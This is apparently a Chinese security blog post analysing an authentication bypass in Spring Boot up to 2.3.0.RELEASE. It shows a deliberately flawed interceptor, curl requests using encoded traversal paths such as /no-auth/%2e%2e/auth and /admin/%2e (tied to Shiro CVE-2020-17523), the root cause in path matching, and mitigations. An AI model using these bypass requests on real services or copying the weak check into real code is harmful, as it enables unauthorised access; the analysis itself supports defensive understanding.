作者 | Ruilin

来源 | http://rui0.cn/archives/1643

分享一个Spring Boot中关于%2e的小Trick。

先说结论，当Spring Boot版本在小于等于2.3.0.RELEASE的情况下，alwaysUseFullPath为默认值false，这会使得其获取ServletPath，所以在路由匹配时相当于会进行路径标准化包括对%2e解码以及处理跨目录，这可能导致身份验证绕过。

而反过来由于高版本将alwaysUseFullPath自动配置成了true从而开启全路径，又可能导致一些安全问题。

这里我们来通过一个例子看一下这个Trick，并分析它的原因。

首先我们先来设置Sprin Boot版本

<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.3.0.RELEASE</version><relativePath/> <!-- lookup parent from repository -->
</parent>

编写一个Controller

@RestController
public class httpbinController {@RequestMapping(value = "no-auth", method = RequestMethod.GET)public String noAuth() {return "no-auth";}@RequestMapping(value = "auth", method = RequestMethod.GET)public String auth() {return "auth";}
}

接下来配置对应的Interceptor来实现对除no-auth以外的路由的拦截

@Configuration
public class WebMvcConfig implements WebMvcConfigurer {@Overridepublic void addInterceptors(InterceptorRegistry registry) {registry.addInterceptor(handlerInterceptor())//配置拦截规则.addPathPatterns("/**");}@Beanpublic HandlerInterceptor handlerInterceptor() {return new PermissionInterceptor();}
}@Component
public class PermissionInterceptor implements HandlerInterceptor {@Overridepublic boolean preHandle(HttpServletRequest request,HttpServletResponse response,Object handler) throws Exception {String uri = request.getRequestURI();uri = uri.replaceAll("//", "/");System.out.println("RequestURI: "+uri);if (uri.contains("..") || uri.contains("./") ) {return false;}if (uri.startsWith("/no-auth")){return true;}return false;}
}

由上面代码可以知道它使用了getRequestURI来进行路由判断。通常你可以看到如startsWith，contains 这样的判断方式，显然这是不安全的，我们绕过方式由很多比如..或..;等，但其实在用startsWith来判断白名单时构造都离不开跨目录的符号.. 那么像上述代码这种情况又如何来绕过呢?答案就是%2e发起请求如下

$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Wed, 14 Apr 2021 13:22:03 GMT
<
* Connection #0 to host 127.0.0.1 left intact
auth
* Closing connection 0

RequestURI输出为

RequestURI: /no-auth/%2e%2e/auth

可以看到我们通过%2e%2e绕过了PermissionInterceptor的判断，同时匹配路由成功，很显然应用在进行路由匹配时会进行路径标准化包括对%2e解码以及处理跨目录即如果存在/../则返回上一级目录。

我们再来切换Spring Boot版本再来看下

<version>2.3.1.RELEASE</version>

发起请求，当然也是过了拦截，但没有匹配路由成功，返回404

$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 404
< Vary: Origin
< Vary: Access-Control-Request-Method
< Vary: Access-Control-Request-Headers
< Content-Length: 0
< Date: Wed, 14 Apr 2021 13:17:26 GMT
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

RequestURI输出为

RequestURI: /no-auth/%2e%2e/auth

可以得出结论当Spring Boot版本在小于等于2.3.0.RELEASE的情况下，其在路由匹配时会进行路径标准化包括对%2e解码以及处理跨目录，这可能导致身份验证绕过。那么又为什么会这样？

在SpringMVC进行路由匹配时会从DispatcherServlet开始，然后到HandlerMapping中去获取Handler，在这个时候就会进行对应path的匹配。

我们来跟进代码看这个关键的地方org.springframework.web.util.UrlPathHelper#getLookupPathForRequest(javax.servlet.http.HttpServletRequest) 这里就出现有趣的现象，在2.3.0.RELEASE中alwaysUseFullPath为默认值false

而在2.3.1.RELEASE中alwaysUseFullPath被设置成了true

这也就导致了不同的结果，一个走向了getPathWithinApplication而另一个走向了getPathWithinServletMapping 在getPathWithinServletMapping 中会获取ServletPath，ServletPath会对uri标准化包括先解码然后处理跨目录等，这个很多讲Tomcat uri差异的文章都提过了，就不多说了。而getPathWithinApplication中主要是先获取RequestURI然后解码但之后没有再次处理跨目录，所以保留了..因此无法准确匹配到路由。到这里我们可以看到这两者的不同，也解释了最终出现绕过情况的原因。

那么Trick的具体描述就成了当Spring Boot版本在小于等于2.3.0.RELEASE的情况下，alwaysUseFullPath为默认值false，这会使得其获取ServletPath，所以在路由匹配时相当于会进行路径标准化包括对%2e解码以及处理跨目录，这可能导致身份验证绕过。

而这和Shiro的CVE-2020-17523中的一个姿势形成了呼应，只要高版本Spring Boot就可以了不用非要手动设置alwaysUseFullPath

$ curl -v http://127.0.0.1:8080/admin/%2e
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /admin/%2e HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 10
< Date: Wed, 14 Apr 2021 13:48:33 GMT
<
* Connection #0 to host 127.0.0.1 left intact
admin page* Closing connection 0

因为混合使用Spring Framework依赖时用户需要明确配置而Spring Boot会自动配置Spring Framework，所以在使用Spring Boot的时候官方提供了shiro-spring-boot-web-starter依赖来支持UrlPathHelper（https://shiro.apache.org/spring-boot.html）这样可以解决这类问题，上面这种姿势也就不存在了。对于非Spring Boot应用你可以通过这种方式（https://shiro.apache.org/spring-framework.html#web-applications）来配置UrlPathHelper。感兴趣的可以再看看说不定有额外收获。

话说回来，可是为什么在高版本中alwaysUseFullPath会被设置成true呢？这就要追溯到org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration.WebMvcAutoConfigurationAdapter#configurePathMatch 在spring-boot-autoconfigure-2.3.0.RELEASE中

在spring-boot-autoconfigure-2.3.1.RELEASE中

为什么要这样设置？我们查看git log这里给出了答案。

https://github.com/spring-projects/spring-boot/commit/a12a3054c9c5dded034ee72faac20e578b5503af

当Servlet映射为”/”时，官方认为这样配置是更有效率的，因为需要请求路径的处理较少。

配置servlet.path可以通过如下，但通常不会这样配置除非有特殊需求。

spring.mvc.servlet.path=/test/

所以最后，当Spring Boot版本在小于等于2.3.0.RELEASE的情况下，alwaysUseFullPath为默认值false，这会使得其获取ServletPath，所以在路由匹配时相当于会进行路径标准化包括对%2e解码以及处理跨目录，这可能导致身份验证绕过。而高版本为了提高效率对alwaysUseFullPath自动配置成了true从而开启全路径，这又造就了Shiro的CVE-2020-17523中在配置不当情况下的一个利用姿势，如果代码中没有提供对此类参数的判断支持，那么就可能会存在安全隐患。其根本原因是Spring Boot自动配置的内容发生了变化。

往期推荐

面试官：作为架构师，请你谈谈Saas 应用如何搭建？

SpringBoot中微服务技术中进程间通信原理

Spring Boot 接入支付宝支付案例教程！

Spring Boot 中的Http接口调用只知道 RestTemplate？来试下 Retrofit ！

Java中关于线程同步，你会用到的4个类

数据库消耗 CPU 最高的 sql 语句如何定位？

怎么样通过Nginx实现限流？

5个好用的开源网络监控工具

SpringBoot实现登录拦截的原理

keepalived实现Nginx双机热备

一行代码让你摆脱U盘完成局域网文件传输

Docker简易搭建 ElasticSearch 集群